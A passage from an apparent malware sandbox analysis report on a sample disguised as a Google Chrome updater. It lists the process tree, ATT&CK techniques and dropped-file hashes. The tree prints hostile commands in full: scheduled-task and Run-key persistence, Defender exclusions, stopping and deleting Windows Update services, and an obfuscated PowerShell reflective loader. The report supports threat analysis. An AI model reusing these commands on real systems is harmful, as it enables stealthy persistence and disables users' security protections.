    powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:2252
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3936
- - C:\Windows\system32\dialer.exe
    C:\Windows\system32\dialer.exe xtrjicqmdliu
    3⤵
    PID:2476
  - - C:\Windows\system32\cmd.exe
      cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
      4⤵
      Drops file in Program Files directory
      PID:2276
- - C:\Windows\system32\cmd.exe
    cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
    3⤵
    - Drops file in Program Files directory
    PID:304
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4372
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic PATH Win32_VideoController GET Name, VideoProcessor
      4⤵
      PID:2564
- - C:\Windows\system32\dialer.exe
    C:\Windows\system32\dialer.exe wvhbfinhdckusjju 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZeXwQ/O4+due3etuok0KCy6TAeBBK2Zj7dzTkc9P7Txuspl/ztFHeT1vDsXwtgxIFZnxGXI+P7h6Wy2BaqsXFRrbRIyylpVUfDVtjurLuTI6hfYZYlaT2c8T3z2D8KilAioXHHI3GdcX8L+5AQJHhaF3EikxjkII2qRl4IAJt0ne1Kthho/EoWoWqiJ8V46anYGIeeueaKL6G4gUS0jG8bW+uOPYpliibsIQvftJQy3GdQNbdmaQoQosbMtF/zsQIOPYtzoBcdM/sdKVWCIsST/Py6kltT+qpekCzJYBFF4LST+8+EmmopPFkm4CPe5KhMiY/+g/sQ7d50uqIjFwwoHwsdnFS1l7B7kznzCIpeqO/4VPcOjXZ8D/gqWFx/7uyyvuxXByWtdfg2SHIbTo9ax767hx8DEZJobkKiCLCF5s3S9KZPJ6oc8SVkEHvmPn3ocLOCMVNSrrmyVksnNDnuU8b1vWVxnieD7xm0UnpffWA=
    3⤵
    PID:428
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1444
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1940

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog
1⤵
- Drops file in System32 directory
PID:1088

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService
1⤵
PID:356

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1108

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts
1⤵
PID:1008

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s EventSystem
1⤵
PID:1124

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s nsi
1⤵
PID:1276

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1144

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1316

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s LSM
1⤵
PID:900

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1356
- c:\windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2688

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp
1⤵
PID:1428

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder
1⤵
PID:1448

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay
1⤵
PID:732

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s FontCache
1⤵
PID:1456

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1564

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1780

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc
1⤵
PID:2136

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2400

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
1⤵
PID:3964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
PID:4712

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s CDPSvc
1⤵
PID:4440

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4368
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 4368 -s 800
  2⤵
  - Program crash
  - Suspicious behavior: EnumeratesProcesses
  PID:4764

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3664
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 3664 -s 856
  2⤵
  - Program crash
  - Suspicious behavior: EnumeratesProcesses
  PID:2648

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3540

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:2592
- C:\Users\Admin\AppData\Local\Temp\78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859.exe
  "C:\Users\Admin\AppData\Local\Temp\78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:4952
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1628
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1060
  - - C:\Windows\system32\sc.exe
      sc stop UsoSvc
      4⤵
      Launches sc.exe
      PID:4292
  - - C:\Windows\system32\sc.exe
      sc stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:4896
  - - C:\Windows\system32\sc.exe
      sc stop wuauserv
      4⤵
      Launches sc.exe
      PID:3980
  - - C:\Windows\system32\sc.exe
      sc stop bits
      4⤵
      Launches sc.exe
      PID:692
  - - C:\Windows\system32\sc.exe
      sc stop dosvc
      4⤵
      Launches sc.exe
      PID:3184
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
      4⤵
      PID:4044
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
      4⤵
      PID:4692
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
      4⤵
      Modifies security service
      PID:3860
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
      4⤵
      PID:5028
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
      4⤵
      PID:4976
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3512
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -hibernate-timeout-ac 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4752
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -hibernate-timeout-dc 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4344
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -standby-timeout-ac 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4492
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -standby-timeout-dc 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5000
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3708
- - C:\Windows\system32\dialer.exe
    C:\Windows\system32\dialer.exe
    3⤵
    - Drops file in Windows directory
    PID:512
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4960
  - - C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
      4⤵
      PID:864

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2868

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
1⤵
PID:2768

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent
1⤵
PID:2468

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2416

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
PID:2376

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks
1⤵
PID:2352

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2308

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2292

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2284

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation
1⤵
PID:1648

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1956

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s netprofm
1⤵
PID:1888

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1852

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s StateRepository
1⤵
PID:1788

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1772

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s Dnscache
1⤵
PID:1668

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s NlaSvc
1⤵
PID:1616

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:4668

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:4272

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
- Drops file in System32 directory
- Drops file in Windows directory
PID:1416
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 1416 -s 688
  2⤵
  - Program crash
  PID:2836

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:3148

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 2.8MB
SHA256 9c01d90543458567c4737731ee6754cc209e4bb78ff648eb75c4d23be261ef2f
MD5 eb27bb8cfa99d659e4fe023e9002ecd1
SHA1 c783400302fdfae0518269c5a5a8d4bad29f42a3
SHA512 ab5ad3c094ed1f094aa82d80d298e6d0ab15a94b58b007dbe8a6219fe8498569b5d9013d770bd9910f177f94f2639d84650655e8f60113051e98b386c49c36a2
SSDEEP 49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
MD5 SHA1 SHA512 SSDEEP

Submit Download

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 2.8MB
SHA256 9c01d90543458567c4737731ee6754cc209e4bb78ff648eb75c4d23be261ef2f
MD5 eb27bb8cfa99d659e4fe023e9002ecd1
SHA1 c783400302fdfae0518269c5a5a8d4bad29f42a3
SHA512 ab5ad3c094ed1f094aa82d80d298e6d0ab15a94b58b007dbe8a6219fe8498569b5d9013d770bd9910f177f94f2639d84650655e8f60113051e98b386c49c36a2
SSDEEP 49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
MD5 SHA1 SHA512 SSDEEP

Submit Download

g.log

Path C:\Program Files\Google\Libs\g.log
Size 226B
SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
MD5 fdba80d4081c28c65e32fff246dc46cb
SHA1 74f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA512 b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
MD5 SHA1 SHA512

Submit Download

WER3F76.tmp.csv

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER3F76.tmp.csv
Size 29KB
SHA256 b7827857163d1b66424f2afb063947d6bd5c0f719b955395571cd0c94550e626
MD5 3bd100470d0f2515bf60967ca3ef1f08
SHA1 c40edeecc8c4a6892a12cb1a6dd3dba879991858
SHA512 5a94feab2777546926abc13bae0dff5227453bae4685dc84140af92ec2a6cb5d611d545db607f6dbae61ac1fb539f9d020c9a032461f18ac13e42d6446125f59
SSDEEP 384:hQ8aDDeHw8jYskTcVJQ/e70++zfg8ucyICR/0aGHWO9stZxIauZQ/GtdW1TG4Iz9:FdHWHVHQdazsHKh8C7tN8nX/zxHN4
MD5 SHA1 SHA512 SSDEEP

Submit Download

WER3F87.tmp.txt

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER3F87.tmp.txt
Size 12KB
SHA256 145c0ad9315d1b700a87bdd5a6e687e87ad3b80317367b19e19671d6591896c1
MD5 a1a3ff88092a87d95df0883e9b573116
SHA1 03c11af31ec5f684eba9e8efe21d677e3ee9c7e1
SHA512 4e8fbcd884d318e44fe1bff1cd3b7e72239d7c6fd3a6e95c08a5b64f0c7c0d0ee0188cd95303b3f962dcd589510d00832ab6a33649568992647c48db5bb239d3
SSDEEP 96:F/TQJwFztogYtEYefVI4u/b62LtIic+AKDHIT5VPmI9OioYPlOX:NTQqQEjec1VPmI8io4lOX
MD5 SHA1 SHA512 SSDEEP

Submit Download

WERC803.tmp.csv

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WERC803.tmp.csv
Size 31KB
SHA256 83c0f0347f5efa293ef88decb56fd03691473f7e68ada1912eb3ccf97075ed27
MD5 059d714a77d58c526034ac7219ea91e4
SHA1 4bd6c1de0ee2c53ca2ed991a113fc19a086b5dd0
SHA512 0d2c1b646e38382de41e7ee6603f3c04d42c94001e7258b779e3d0a0e6578a84a3938d4aa8fc8c72030ea837a3822db3e2190f69193a0db60e06eab7628758de
SSDEEP 384:hQRaDDXmHQcjohATsVr+Qde73Qzia8FcyxoRsdaaPCRf5seSS1ajR5GtUWGG4ZAM:gEmHuONDC1qRn2qyBcvJs2bbYcL
MD5 SHA1 SHA512 SSDEEP

Submit Download

WERC852.tmp.csv

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WERC852.tmp.csv
Size 31KB
SHA256 275dc3dc67f4e783541c63724828026b95b7d70d2b8fed8fa20426eb47a179ad
MD5 fec6b238a62a18effa127569ac45f5e8
SHA1 23c311f0ce79c837e9f3842424ced330b83b6916
SHA512 f4849cb26bab2aa3d013a9eec2001c64f15639655a6e86affae607868d128d8fa6ca03623cee915f25a6c7e6814e87ccbb6547701e12f142ada16dfea5d8704a
SSDEEP 384:hQRaDDAH9cjohATsVoQde73SzrJ8FcyxoRsdaaPCRf5seSS1ajR5GtUWGG4ZABJQ:g7HhczDC1qRn2qyBcvJs2bbYy
MD5 SHA1 SHA512 SSDEEP

Submit Download

WERC853.tmp.txt

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WERC853.tmp.txt
Size 12KB
SHA256 90a3a7db06f5d09d0cee15ccfb6d0dd4b68f18029f138e491728be07992837d9
MD5 31473f97dbd359632bba9a5752d02720
SHA1 90ed597bb4c3ab1e21bdbcc2d1978611cbe3392d
SHA512 06b96a61a3d0c2a1ed4cb5be17e31021602add3b76d4e04e493ee793fbbc1ab1626c379b7e3cf12487c17c70f55329a127d2cab558a7fc9efbc6d8a3cc146c3e
SSDEEP 96:F/TQxj1lyoTGYKYxDGz14qp/b6GiNitIiZ+rbZHl29MNP4zNMHNPnEX:NTQ8ltUd29cP4zNMHlnEX
MD5 SHA1 SHA512 SSDEEP

Submit Download

WERC893.tmp.txt

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WERC893.tmp.txt
Size 12KB
SHA256 46787e3c180f1a0ad77cbd4db6d8278bb045ae6ac1b4542ecd8db508de06d63a
MD5 fe79dae2d04216d14775ac65138b2a29
SHA1 e867cad598351dda44787541bc4920848f3fab7a
SHA512 ff40a2d8b9daa4fd8e681455b19d30f0b994a24cc7507977bfac22acd84877f001311a5c3fc32aa1d8aa0c0f7685bbfdcd966be48423e091a283da6a7fc6beea
SSDEEP 96:F/TQ/4M2t1ozY4Y5GV4v/b6IiNgtIi8+ubqHk29MQFPHEZUPNPnEX:NTQKU3oUD29bPHEZUPlnEX
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c
MD5 8592ba100a78835a6b94d5949e13dfc1
SHA1 63e901200ab9a57c7dd4c078d7f75dcd3b357020
SHA512 87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 7523a699fd1cc2504908ee4c5d1ae209835d4f5854ee6ceee016d7546cf84b36
MD5 4efc3e54176f9977e6d94aef0a7ceecb
SHA1 ead91e356f71a7e8c30d1df3fac4c58de0492433
SHA512 2a6654240750d35df581df39928bd0ee5bf6a395c4f51b94d47ef342cca9846094d0965713f75356130df0c4a949ef55b059196a5e5797a937dc6115f956b04b
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c15fccf8cc6f64c3e0ccfbad99a6e5d26bfbd3ee9215341c4a9c22c454dd1134
MD5 6aaa9e627b83dfbf4b3e6c6835faa06d
SHA1 dbc2de2a92db1e5b18b1cf10ce1a7f44320635bc
SHA512 c7fa363d8559d023c70c408b45869d2381beadec661d8c881c4cb297c90ff51669a22bbec77c89eac6cb38288355dd7a0ae772ec0b742d998c151716d551ef0d
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 2a7c264d94398912c720de578b6d959b2457582182b8f2cc98281f27ef6701aa
MD5 010c219c46b4439bc787644989e20389
SHA1 f3a63066ab4446458bd6417386777e39e09b9b25
SHA512 c6967d2a37b9a45f491138b638d99e5fa09ef38f680c887bfbc2336c683deae86f4d6626f6defc8c0aabccf545923a708df05825de8102086a8f333a58e74963
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 0ddc23abe545a98eef0365f5a0c5fb8aea017e08a7e21bac898b233f052e29d3
MD5 2ad44bda0f0be9be11b0d82ee6bc3aa2
SHA1 27f194a7060d6a13c117b151de1522f01b8b5d28
SHA512 b31347583253589b29e360c8fcd46c0f0d6aaacd020890d48df3703c4db56aa8d671fb1da548a339ee980842baa02e792a5b228d402234a37740f9371f4c65c6
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 0df95bd787c9f2f95a204ad06e85356fcba39c0525c278234bb7a57387db289c
MD5 a9a3fe3ec8942f42b334be143e35f469
SHA1 146ba5c3d4bd6cf24c613f95cb5a010dc7a891df
SHA512 7534dd3f03c4eca12a9d465bfc0472018154b87711d5ee5b5441d6900fd3bb74a4a13313c817814f2c0fead3c78fd49e52d39a57463fba08aef5094164ea44b7
MD5 SHA1 SHA512

Submit Download

memory/356-358-0x0000027762A90000-0x0000027762ABA000-memory.dmp

Download

memory/572-340-0x000001D969BD0000-0x000001D969BFA000-memory.dmp

Download

memory/572-279-0x00007FFBDF500000-0x00007FFBDF510000-memory.dmp

Download

memory/628-343-0x000001FFFF4E0000-0x000001FFFF50A000-memory.dmp

Download

memory/628-282-0x00007FFBDF500000-0x00007FFBDF510000-memory.dmp

Download

memory/732-353-0x00000150AA630000-0x00000150AA65A000-memory.dmp

Download

memory/820-234-0x0000000077470000-0x00000000775FE000-memory.dmp

Download

memory/820-258-0x0000000077470000-0x00000000775FE000-memory.dmp

Download

memory/820-219-0x0000000077470000-0x00000000775FE000-memory.dmp

Download

memory/820-218-0x0000000077470000-0x00000000775FE000-memory.dmp

Download

memory/820-226-0x0000000077470000-0x00000000775FE000-memory.dmp

Download

memory/820-227-0x0000000077470000-0x00000000775FE000-memory.dmp

Download

memory/820-229-0x0000000077470000-0x00000000775FE000-memory.dmp

Download

memory/820-231-0x0000000077470000-0x00000000775FE000-memory.dmp

Download

memory/820-233-0x0000000077470000-0x00000000775FE000-memory.dmp

Download

memory/820-232-0x0000000077470000-0x00000000775FE000-memory.dmp

Download

memory/820-235-0x0000000077470000-0x00000000775FE000-memory.dmp

Download

memory/820-216-0x0000000077470000-0x00000000775FE000-memory.dmp

Download

memory/820-236-0x0000000077470000-0x00000000775FE000-memory.dmp

Download

memory/820-237-0x0000000077470000-0x00000000775FE000-memory.dmp

Download

memory/820-239-0x0000000077470000-0x00000000775FE000-memory.dmp

Download

memory/820-241-0x0000000077470000-0x00000000775FE000-memory.dmp

Download

memory/820-242-0x0000000077470000-0x00000000775FE000-memory.dmp

Download

memory/820-243-0x0000000077470000-0x00000000775FE000-memory.dmp

Download

memory/820-245-0x0000000077470000-0x00000000775FE000-memory.dmp

Download

memory/820-247-0x0000000077470000-0x00000000775FE000-memory.dmp

Download

memory/820-248-0x0000000077470000-0x00000000775FE000-memory.dmp

Download

memory/820-249-0x0000000077470000-0x00000000775FE000-memory.dmp

Download

memory/820-250-0x0000000077470000-0x00000000775FE000-memory.dmp

Download

memory/820-253-0x0000000077470000-0x00000000775FE000-memory.dmp

Download

memory/820-255-0x0000000077470000-0x00000000775FE000-memory.dmp

Download

memory/820-217-0x0000000077470000-0x00000000775FE000-memory.dmp

Download

memory/820-257-0x0000000077470000-0x00000000775FE000-memory.dmp

Download

memory/820-356-0x0000000005A80000-0x00000000060A8000-memory.dmp

Download

memory/820-335-0x0000000002FF0000-0x0000000003026000-memory.dmp

Download

memory/820-263-0x0000000077470000-0x00000000775FE000-memory.dmp

Download

memory/820-264-0x0000000077470000-0x00000000775FE000-memory.dmp

Download

memory/820-283-0x0000000077470000-0x00000000775FE000-memory.dmp

Download

memory/820-401-0x0000000005A40000-0x0000000005A62000-memory.dmp

Download

memory/820-406-0x0000000006120000-0x0000000006186000-memory.dmp

Download

memory/820-269-0x0000000077470000-0x00000000775FE000-memory.dmp

Download

memory/820-275-0x0000000077470000-0x00000000775FE000-memory.dmp

Download

